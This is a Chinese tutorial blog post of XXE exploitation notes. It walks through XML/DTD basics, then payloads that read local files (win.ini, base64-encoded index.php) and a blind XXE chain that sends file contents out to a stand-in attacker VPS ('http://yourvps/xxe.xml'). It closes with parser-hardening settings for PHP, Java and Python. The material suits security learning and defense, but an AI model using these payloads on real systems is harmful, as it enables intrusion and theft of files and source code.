XXE漏洞利用笔记

XML

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

语法:

1、所有 XML 元素都须有关闭标签
2、XML 标签对大小写敏感
3、XML 必须正确地嵌套
4、XML 文档必须有根元素
5、XML 的属性值须加引号
6、在 XML 中,空格会被保留

在这里插入图片描述


在这里插入图片描述在这里插入图片描述




DTD 介绍

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。


DTD在XML文档内部和外部的声明:https://www.runoob.com/dtd/dtd-intro.html
DTD元素的声明:https://www.runoob.com/dtd/dtd-elements.html


XXE漏洞

找到注入点后

第一步:先判断是否能执行xml

测试代码:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "my name is wakawaka">]>    
<root>&name;</root>

显示 my name is wakawaka 说明可以执行xml。

第二步:测试是否可以引用外部实体:

测试代码:

可以测试能否读取靶机文件

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  
]>
<root>&name;</root>

或者访问自己搭的vps(公网服务器):

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "http://ip/index.html">  
]>
<root>&name;</root>
查看vps的日志来判断是否收到一条请求index.html的请求。

第三步:判断是否可以回显

1. 有回显:可以直接利用
例:获取敏感文件:

<?xml version= "1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  
]>
<root>&name;</root>

如果需要读取php文件,需要经过base64加密后读取出来:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "php://filter/read/convert.base64-encode/resource=index.php">  
]>
<root>&name;</root>

2、无回显:使用blind xxe 攻击方法
流程 :
vps上的xxe.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。

然后在服务器的log中看到base64加密后的内容

防御:

php:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

或者是将关键词 ex:`DOCYPE,ENTITY`进行过滤。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值